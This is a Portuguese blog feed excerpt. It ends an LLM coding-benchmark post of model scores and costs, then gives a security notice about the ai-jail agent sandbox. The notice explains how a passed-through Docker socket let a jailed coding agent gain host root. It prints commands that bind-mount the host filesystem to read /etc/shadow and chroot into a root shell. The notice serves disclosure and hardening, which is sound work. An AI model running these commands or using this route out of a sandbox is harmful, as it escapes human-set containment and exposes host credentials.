          <td style="text-align: right">$26,03 equivalente em API</td>
      </tr>
      <tr>
          <td>Opus 5</td>
          <td style="text-align: right">95</td>
          <td style="text-align: right">78 min</td>
          <td style="text-align: right">$38,91 equivalente em API</td>
      </tr>
      <tr>
          <td>Sonnet 5</td>
          <td style="text-align: right">95</td>
          <td style="text-align: right">59 min</td>
          <td style="text-align: right">$25,83 equivalente na assinatura</td>
      </tr>
      <tr>
          <td>Opus 4.8</td>
          <td style="text-align: right">93</td>
          <td style="text-align: right">53 min</td>
          <td style="text-align: right">$21,82 equivalente na assinatura</td>
      </tr>
  </tbody>
</table>
<p>Sonnet 5 empatou com Opus 5, terminou dezenove minutos antes e produziu a primeira cobertura de linhas realmente 100% de todo o benchmark. Também fez a melhor self-review da família. Escolher Opus automaticamente porque &ldquo;Opus é a tier maior&rdquo; seria jogar os próprios dados fora.</p>
<p>Isso também corrige uma impressão péssima do v1, onde Sonnet 5 tinha feito 58 e alucinado a API do RubyLLM. No v2 ele rodou no Claude Code, recebeu requisitos explícitos e fez 95. Não dá pra concluir que o modelo melhorou 37 pontos porque mudamos quase todo o experimento. Dá pra concluir que a combinação v1 era uma representação ruim do que ele consegue fazer.</p>
<p>Do lado da OpenAI:</p>
<table>
  <thead>
      <tr>
          <th>GPT</th>
          <th style="text-align: right">Score</th>
          <th style="text-align: right">Tempo</th>
          <th style="text-align: right">Custo blended equivalente</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>GPT 5.6 Sol</td>
          <td style="text-align: right">93</td>
          <td style="text-align: right">57 min</td>
          <td style="text-align: right">~$45</td>
      </tr>
      <tr>
          <td>GPT 5.6 Terra</td>
          <td style="text-align: right">93</td>
          <td style="text-align: right">49 min</td>
          <td style="text-align: right">$16,92</td>
      </tr>
      <tr>
          <td>GPT 5.6 Luna</td>
          <td style="text-align: right">91</td>
          <td style="text-align: right">46 min</td>
          <td style="text-align: right">$16,79</td>
      </tr>
      <tr>
          <td>GPT 5.5</td>
          <td style="text-align: right">88</td>
          <td style="text-align: right">58 min</td>
          <td style="text-align: right">~$53</td>
      </tr>
      <tr>
          <td>GPT 5.4</td>
          <td style="text-align: right">86</td>
          <td style="text-align: right">67 min</td>
          <td style="text-align: right">~$26</td>
      </tr>
  </tbody>
</table>
<p>Terra empatou com Sol em 93, terminou oito minutos antes e custou pouco mais de um terço no cálculo blended. Também produziu a melhor proteção de concorrência de toda a rodada: Redis com <code>WATCH</code>/<code>MULTI</code>, lock distribuído por conversa e escolha forçada de tool. Nesta prova, pagar pelo Sol não comprou nenhum ponto nem economizou tempo. Terra é a escolha mais racional da família.</p>
<p>Luna continua na tabela porque fez 91 e ainda é um resultado A.1, mas perdeu o argumento de custo: Terra ficou dois pontos acima por apenas treze centavos a mais e levou cerca de três minutos extras.</p>
<p>O detalhe importante continua sendo o cache. Dos 21,7 milhões de tokens de input do Terra, 21 milhões eram cache hits. Cobrar tudo como input novo daria um teto de $111,62. Com a tarifa de cache, cai pra $16,92. Qualquer tabela de custo que mistura CLIs sem entender o que cada uma reporta está comparando banana com JSON.</p>
<h2>E os modelos chineses?<span class="hx:absolute hx:-mt-20" id="e-os-modelos-chineses"></span>
    <a href="#e-os-modelos-chineses" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A conversa de que modelo chinês só serve como alternativa barata ficou velha.</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th style="text-align: right">Score</th>
          <th style="text-align: center">Tier</th>
          <th style="text-align: right">Tempo</th>
          <th style="text-align: right">Custo reportado</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Kimi K3</td>
          <td style="text-align: right">95</td>
          <td style="text-align: center">A.1</td>
          <td style="text-align: right">65 min</td>
          <td style="text-align: right">$6,14 equivalente, assinatura</td>
      </tr>
      <tr>
          <td>Kimi K2.5</td>
          <td style="text-align: right">92</td>
          <td style="text-align: center">A.1</td>
          <td style="text-align: right">43 min</td>
          <td style="text-align: right">$1,50, API</td>
      </tr>
      <tr>
          <td>Kimi K2.6</td>
          <td style="text-align: right">91</td>
          <td style="text-align: center">A.1</td>
          <td style="text-align: right">34 min</td>
          <td style="text-align: right">$2,64, API</td>
      </tr>
      <tr>
          <td>Kimi K2.7-Coding</td>
          <td style="text-align: right">86</td>
          <td style="text-align: center">A.2</td>
          <td style="text-align: right">54 min</td>
          <td style="text-align: right">$4,37 equivalente, assinatura</td>
      </tr>
      <tr>
          <td>MiniMax M3</td>
          <td style="text-align: right">91</td>
          <td style="text-align: center">A.1</td>
          <td style="text-align: right">113 min</td>
          <td style="text-align: right">$7,72, API</td>
      </tr>
      <tr>
          <td>GLM 5.2</td>
          <td style="text-align: right">92</td>
          <td style="text-align: center">A.1</td>
          <td style="text-align: right">155 min</td>
          <td style="text-align: right">$0 marginal na assinatura, $12,05 equivalente em API</td>
      </tr>
      <tr>
          <td>DeepSeek V4 Pro</td>
          <td style="text-align: right">82</td>
          <td style="text-align: center">B</td>
          <td style="text-align: right">57 min</td>
          <td style="text-align: right">$0,35, API</td>
      </tr>
      <tr>
          <td>DeepSeek V4 Flash</td>
          <td style="text-align: right">80</td>
          <td style="text-align: center">B</td>
          <td style="text-align: right">36 min</td>
          <td style="text-align: right">$0,81, API</td>
      </tr>
  </tbody>
</table>
<p>Kimi K3 empatou com Opus 5. K2.5, K2.6, MiniMax M3 e GLM 5.2 ficaram no mesmo A.1 de Claude e GPT. As execuções via OpenCode continuam mais baratas que a faixa de $16 a $45 dos líderes rodados em Claude Code e Codex, mas já não é uma comparação de centavos contra dezenas de dólares. E assinatura não é API: o GLM teve custo marginal zero porque rodou no plano da Z.ai; o mesmo consumo sairia por cerca de $12,05 via API.</p>
<p>O Kimi é a família mais fácil de recomendar hoje. K3 oferece qualidade de topo na assinatura barata. K2.5 e K2.6 foram econômicos via API, custando $1,50 e $2,64. K2.7 ficou abaixo dos irmãos, mas rodou em outro harness, então não vou inventar uma historinha de evolução linear com quatro pontos isolados.</p>
<p>MiniMax M3 merece atenção e cautela na mesma medida. Fez 91 por $7,72, ainda abaixo de uma rodada nos líderes americanos, mas gastou 121 milhões de tokens e levou quase duas horas. Foi a execução mais cara e mais voraz em tokens entre as rodadas de OpenCode. O score é bom; o perfil de uso, nem tanto.</p>
<p>GLM 5.2 fez 92 com custo marginal zero no plano da Z.ai, mas consumiu o equivalente a $12,05 em API. Levou cerca de duas horas e meia. Se tempo de wall clock não importa, é uma opção muito forte. Se você trabalha em ciclos curtos, Grok 4.5 entregou 91 em cerca de 25 minutos no grok CLI, mais de seis vezes mais rápido.</p>
<p>DeepSeek continua barato, mas parou no Tier B. V4 Pro fez 82 por $0,35 e V4 Flash fez 80 por $0,81. Estão perto e quero repetir quando vier uma versão nova. Hoje eu ainda não usaria nenhum dos dois pra deixar um coding agent trabalhando sozinho numa codebase que importa. Economizar um ou dois dólares pra depois gastar uma hora revisando defeito estrutural é uma conta ruim.</p>
<h2>Por que não refiz os modelos locais<span class="hx:absolute hx:-mt-20" id="por-que-não-refiz-os-modelos-locais"></span>
    <a href="#por-que-n%c3%a3o-refiz-os-modelos-locais" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Não rodei Qwen 3.5 e os outros modelos locais no v2. A prioridade passou a ser mapear melhor o Tier A de programação, e cada execução completa dessa prova custa tempo de máquina, auditoria e sanidade.</p>
<p>Os locals não são inúteis. Servem pra tradução, classificação, resumo, one-shot controlado e tarefas onde privacidade ou operação offline pesa mais que qualidade. Já pra coding agent autônomo, os testes do v1 ficaram muito abaixo do piso. A prova v2 é mais difícil. Não vejo motivo pra gastar vários dias confirmando de novo que um Qwen quantizado local não compete com Fable, Opus, GPT 5.6 ou Kimi em engenharia de software.</p>
<p>Pra programação, hoje não vale a pena. Se surgir um modelo local novo com evidência forte, eu testo. Até lá, prefiro gastar tempo diferenciando os vinte e quatro modelos que já passaram do piso.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O v1 cumpriu seu papel e saturou. O v2 aperta onde os modelos atuais ainda escorregam: streaming de verdade, payload multi-turn, concorrência, persistência, tools, structured output, orçamento, segurança operacional, teste fiel e capacidade de admitir o próprio defeito.</p>
<p>Fable 5 ficou no topo com 96. Sonnet 5, Opus 5 e Kimi K3 empataram em 95. Sol e Terra vieram logo atrás com 93. Isso responde quem produziu os melhores projetos nesta prova.</p>
<p>Pra escolher o que usar, a leitura prática é outra:</p>
<ul>
<li>Tier A.1 reúne os 15 resultados de fronteira, todos com 90 ou mais;</li>
<li>Tier A.2 reúne 9 modelos competentes entre 83 e 89, ainda recomendáveis com revisão mais atenta;</li>
<li>Tier B está perto, mas ainda não recomendo pra trabalho autônomo;</li>
<li>Tier C fica pra tradução, resumo e agentes simples;</li>
<li>Tier D tem comportamento inconsistente demais pra eu recomendar;</li>
<li>dentro do Tier A, escolha por assinatura, velocidade, custo e harness;</li>
<li>um ou dois pontos não transformam ninguém no campeão universal de inteligência.</li>
</ul>
<p>Minha escolha pessoal continua concentrada em Claude Code e Codex porque são os harnesses que uso todo dia. Dentro do Codex, Terra entregou o melhor equilíbrio entre score, tempo e custo. Kimi K3 virou uma alternativa séria de topo. Grok 4.5 é o campeão de velocidade desta rodada. GLM tem custo marginal zero na assinatura e MiniMax ainda custa menos que os líderes, mas nenhum dos dois é escolha de velocidade. Sonnet 5 provou que pagar ou selecionar a tier &ldquo;maior&rdquo; por reflexo pode ser desperdício.</p>
<p>Todo o código gerado, prompts, resultados, self-reviews, rubrica e correções estão no <a href="https://github.com/akitaonrails/llm-coding-benchmark"target="_blank" rel="noopener">llm-coding-benchmark</a>. A grande reforma de código e testes já está no <code>master</code>. Contribuições são bem-vindas, seja pra adicionar modelo, melhorar o harness, contestar uma dedução ou encontrar mais um bug no auditor.</p>
<p>Só traga artefato e dado. Opinião de ranking já tem demais.</p>
]]></content:encoded><category>benchmarks-de-llm</category><category>llms</category><category>agentes-de-codigo</category></item><item><title>AI-Jail: update de segurança, Docker vira opt-in</title><link>https://www.akitaonrails.com/2026/07/25/ai-jail-update-seguranca-docker-opt-in/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/07/25/ai-jail-update-seguranca-docker-opt-in/</guid><pubDate>Sat, 25 Jul 2026 13:00:00 GMT</pubDate><description>&lt;p&gt;Hoje de manhã abriram um issue importante no repositório do &lt;a href="https://github.com/akitaonrails/ai-jail"target="_blank" rel="noopener"&gt;ai-jail&lt;/a&gt;: o &lt;a href="https://github.com/akitaonrails/ai-jail/issues/88"target="_blank" rel="noopener"&gt;issue #88&lt;/a&gt;, reportado pelo &lt;a href="https://github.com/mdindoffer"target="_blank" rel="noopener"&gt;@mdindoffer&lt;/a&gt;, com o título &amp;ldquo;Sandbox escape via a docker socket passthrough (effective host root)&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;O report procedia, e a correção já está disponível na &lt;strong&gt;v1.16.0&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Atualize pra v1.16.0&lt;span class="hx:absolute hx:-mt-20" id="atualize-pra-v1160"&gt;&lt;/span&gt;
&lt;a href="#atualize-pra-v1160" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Se você usa o ai-jail, o update é o de sempre:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Arch Linux (AUR)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;yay -Syu ai-jail-bin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Homebrew (macOS / Linux)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;brew update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; brew upgrade ai-jail
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# crates.io&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cargo install ai-jail --force
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# mise&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mise cache clear &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; mise upgrade github:akitaonrails/ai-jail&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;O que mudou na v1.16.0&lt;span class="hx:absolute hx:-mt-20" id="o-que-mudou-na-v1160"&gt;&lt;/span&gt;
&lt;a href="#o-que-mudou-na-v1160" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Até a v1.15.x, o ai-jail montava o socket do Docker dentro da jaula automaticamente, sempre que &lt;code&gt;/var/run/docker.sock&lt;/code&gt; existia no host. Read-write. Sem aviso, sem flag, sem pedir opinião. Eu documentei isso no README como &amp;ldquo;favorece usabilidade&amp;rdquo;, e era verdade: agente de coding frequentemente precisa rodar um &lt;code&gt;docker compose&lt;/code&gt; pra subir banco de testes, e o passthrough automático poupava configuração.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Hoje de manhã abriram um issue importante no repositório do <a href="https://github.com/akitaonrails/ai-jail"target="_blank" rel="noopener">ai-jail</a>: o <a href="https://github.com/akitaonrails/ai-jail/issues/88"target="_blank" rel="noopener">issue #88</a>, reportado pelo <a href="https://github.com/mdindoffer"target="_blank" rel="noopener">@mdindoffer</a>, com o título &ldquo;Sandbox escape via a docker socket passthrough (effective host root)&rdquo;.</p>
<p>O report procedia, e a correção já está disponível na <strong>v1.16.0</strong>.</p>
<h2>Atualize pra v1.16.0<span class="hx:absolute hx:-mt-20" id="atualize-pra-v1160"></span>
    <a href="#atualize-pra-v1160" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se você usa o ai-jail, o update é o de sempre:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Arch Linux (AUR)</span>
</span></span><span class="line"><span class="cl">yay -Syu ai-jail-bin
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Homebrew (macOS / Linux)</span>
</span></span><span class="line"><span class="cl">brew update <span class="o">&amp;&amp;</span> brew upgrade ai-jail
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># crates.io</span>
</span></span><span class="line"><span class="cl">cargo install ai-jail --force
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># mise</span>
</span></span><span class="line"><span class="cl">mise cache clear <span class="o">&amp;&amp;</span> mise upgrade github:akitaonrails/ai-jail</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h2>O que mudou na v1.16.0<span class="hx:absolute hx:-mt-20" id="o-que-mudou-na-v1160"></span>
    <a href="#o-que-mudou-na-v1160" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Até a v1.15.x, o ai-jail montava o socket do Docker dentro da jaula automaticamente, sempre que <code>/var/run/docker.sock</code> existia no host. Read-write. Sem aviso, sem flag, sem pedir opinião. Eu documentei isso no README como &ldquo;favorece usabilidade&rdquo;, e era verdade: agente de coding frequentemente precisa rodar um <code>docker compose</code> pra subir banco de testes, e o passthrough automático poupava configuração.</p>
<p>A partir da v1.16.0 o comportamento inverteu:</p>
<ul>
<li>O passthrough do socket ficou <strong>desligado por padrão</strong>. Só entra se você pedir explicitamente com a flag <code>--docker</code> ou com <code>no_docker = false</code> no <code>.ai-jail</code>.</li>
<li>Quando você liga e existe um socket no host, o ai-jail imprime um aviso na largada deixando claro que aquilo equivale a dar root no host pro processo dentro da jaula.</li>
<li>O <code>ai-jail status</code> agora mostra Docker como <code>disabled (default)</code>, pra ninguém achar que ligou sem querer.</li>
<li>Nos modos <code>--lockdown</code> e browser profile o socket nunca entra, como já era antes.</li>
</ul>
<p>Mudança de comportamento, sim, e de propósito. Se o seu workflow depende de Docker dentro da jaula (o meu depende em alguns projetos), o opt-in é uma linha no <code>.ai-jail</code> do projeto:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-toml" data-lang="toml"><span class="line"><span class="cl"><span class="nx">no_docker</span> <span class="p">=</span> <span class="kc">false</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O nome do campo ficou feio (<code>no_docker = false</code> pra ligar, eu sei), mas configs antigas continuam parseando igual e o <code>--no-docker</code> / <code>no_docker = true</code> funcionam como antes. Só o default mudou. Os detalhes estão nas <a href="https://github.com/akitaonrails/ai-jail/blob/master/releases/v1.16.0.md"target="_blank" rel="noopener">release notes da v1.16.0</a>.</p>
<h2>O que o issue #88 mostrou<span class="hx:absolute hx:-mt-20" id="o-que-o-issue-88-mostrou"></span>
    <a href="#o-que-o-issue-88-mostrou" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O report do mdindoffer é daqueles que todo mantenedor quer receber: resumo preciso, repro em poucas linhas, proposta de correção. A essência:</p>
<p>O ai-jail montava o socket <strong>cru</strong> do Docker dentro da sandbox, read-write. O daemon do Docker roda como root no host. Logo, um agente dentro da jaula podia rodar isto:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">docker run --rm -v /:/host alpine sh -c <span class="s1">&#39;cat /host/etc/shadow&#39;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E pronto. Leitura de qualquer arquivo do host, como root. Isso derrota de uma vez só o <code>$HOME</code> em tmpfs, o <code>--mask</code>, o <code>--deny-path</code> e o Landlock, porque a ação deixa de acontecer dentro da sandbox: acontece no daemon, que vive fora e acima de qualquer namespace que o bwrap criou. O agente nem precisa escapar da jaula quando a jaula tem uma porta que dá direto na sala de máquinas.</p>
<p>Em retrospecto, deixar isso ligado por padrão foi uma falha de design. Eu sabia que o passthrough era &ldquo;perigoso&rdquo; no abstrato, tanto que escrevi isso no README. O que eu não tinha internalizado: perigoso desse jeito, com esse default, já é vulnerabilidade.</p>
<p>O mdindoffer ainda propôs o caminho de hardening definitivo: em vez de montar o socket cru, interpor um proxy filtrado (estilo o <a href="https://github.com/wollomatic/socket-proxy"target="_blank" rel="noopener">wollomatic/socket-proxy</a>) que só aceita bind mounts de caminhos que o agente já pode escrever dentro da jaula. Está no radar pra uma versão futura. Pra fechar o buraco agora, opt-in com aviso explícito resolve o default, que era onde o problema morava.</p>
<h2>A classe de vulnerabilidade: docker.sock é root<span class="hx:absolute hx:-mt-20" id="a-classe-de-vulnerabilidade-dockersock-é-root"></span>
    <a href="#a-classe-de-vulnerabilidade-dockersock-%c3%a9-root" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Essa não é a primeira vez que eu esbarro nessa história, e aposto que também não é a sua. &ldquo;Quem tem acesso ao socket do Docker tem root no host&rdquo; é um dos clássicos da segurança de containers, documentado pela própria Docker na página de <a href="https://docs.docker.com/engine/security/"target="_blank" rel="noopener">daemon attack surface</a>: só usuários confiáveis devem controlar o daemon, porque o Docker permite compartilhar qualquer diretório do host com um container, sem restrição nenhuma de acesso.</p>
<p>O motivo técnico é simples. O <code>dockerd</code> é um daemon que roda como root e obedece comandos que chegam pela API no socket Unix <code>/var/run/docker.sock</code>. A CLI <code>docker</code> é só um cliente dessa API. Quando você pede <code>docker run -v /:/host</code>, quem cria o container e monta o filesystem inteiro do host dentro dele é o daemon, com privilégio total. E processo dentro de container roda como uid 0 por padrão, que o kernel enxerga como uid 0 de verdade (salvo user namespace remapping, que quase ninguém liga). A conta fecha: acesso de escrita no socket equivale a root no host. O grupo <code>docker</code> é sudo sem senha com outro nome.</p>
<h2>A demonstração, na sua máquina<span class="hx:absolute hx:-mt-20" id="a-demonstração-na-sua-máquina"></span>
    <a href="#a-demonstra%c3%a7%c3%a3o-na-sua-m%c3%a1quina" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se você tem Docker instalado e seu usuário no grupo <code>docker</code>, reproduz agora. Sem sudo, sem explorar bug nenhum:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># confirme que você é um usuário comum</span>
</span></span><span class="line"><span class="cl">$ id
</span></span><span class="line"><span class="cl"><span class="nv">uid</span><span class="o">=</span>1000<span class="o">(</span>akitaonrails<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>1000<span class="o">(</span>akitaonrails<span class="o">)</span> <span class="nv">groups</span><span class="o">=</span>...,docker
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># tente ler o /etc/shadow diretamente: negado, como esperado</span>
</span></span><span class="line"><span class="cl">$ cat /etc/shadow
</span></span><span class="line"><span class="cl">cat: /etc/shadow: Permission denied
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># agora peça pro daemon fazer isso por você</span>
</span></span><span class="line"><span class="cl">$ docker run --rm -v /:/host alpine sh -c <span class="s1">&#39;head -3 /host/etc/shadow&#39;</span>
</span></span><span class="line"><span class="cl">root:<span class="nv">$6</span>$...:...
</span></span><span class="line"><span class="cl">bin:!:...
</span></span><span class="line"><span class="cl">daemon:!:...</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E se quiser o pacote completo, uma shell de root no seu próprio host:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ docker run --rm -it -v /:/host alpine chroot /host /bin/bash
</span></span><span class="line"><span class="cl"><span class="c1"># id</span>
</span></span><span class="line"><span class="cl"><span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">groups</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Nenhum exploit, nenhum 0-day. Você usou a API oficial, do jeito documentado, e saiu de usuário comum pra root em um comando. Era exatamente isso que um agente dentro do ai-jail conseguia fazer até hoje, mesmo com todas as camadas (bwrap, Landlock, seccomp, rlimits) ligadas.</p>
<h2>Por que isso ainda existe?<span class="hx:absolute hx:-mt-20" id="por-que-isso-ainda-existe"></span>
    <a href="#por-que-isso-ainda-existe" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se todo mundo sabe disso há mais de uma década, por que ninguém &ldquo;consertou&rdquo;? A resposta curta: isso é arquitetura, e arquitetura não se resolve com patch.</p>
<ul>
<li>O daemon root com API todo-poderosa foi o design que fez o Docker simples de operar. Autorização granular por requisição existe na forma de <a href="https://docs.docker.com/engine/extend/plugins_authorization/"target="_blank" rel="noopener">authorization plugins</a>, mas é opt-in, chata de configurar, e eu conto nos dedos os setups que já vi usando.</li>
<li>O <a href="https://docs.docker.com/engine/security/userns-remap/"target="_blank" rel="noopener">userns-remap</a> existe desde o Docker 1.10 e mapeia o root do container pra um usuário sem privilégio no host. Vem desligado de fábrica, porque quebra compatibilidade com imagens e volumes que assumem uid 0.</li>
<li>O <a href="https://docs.docker.com/engine/security/rootless/"target="_blank" rel="noopener">rootless mode</a> roda o daemon inteiro como o seu usuário, com o socket em <code>$XDG_RUNTIME_DIR/docker.sock</code>. Funciona, mas tem restrições de rede e storage, e a internet inteira de tutoriais assume o daemon root no caminho clássico.</li>
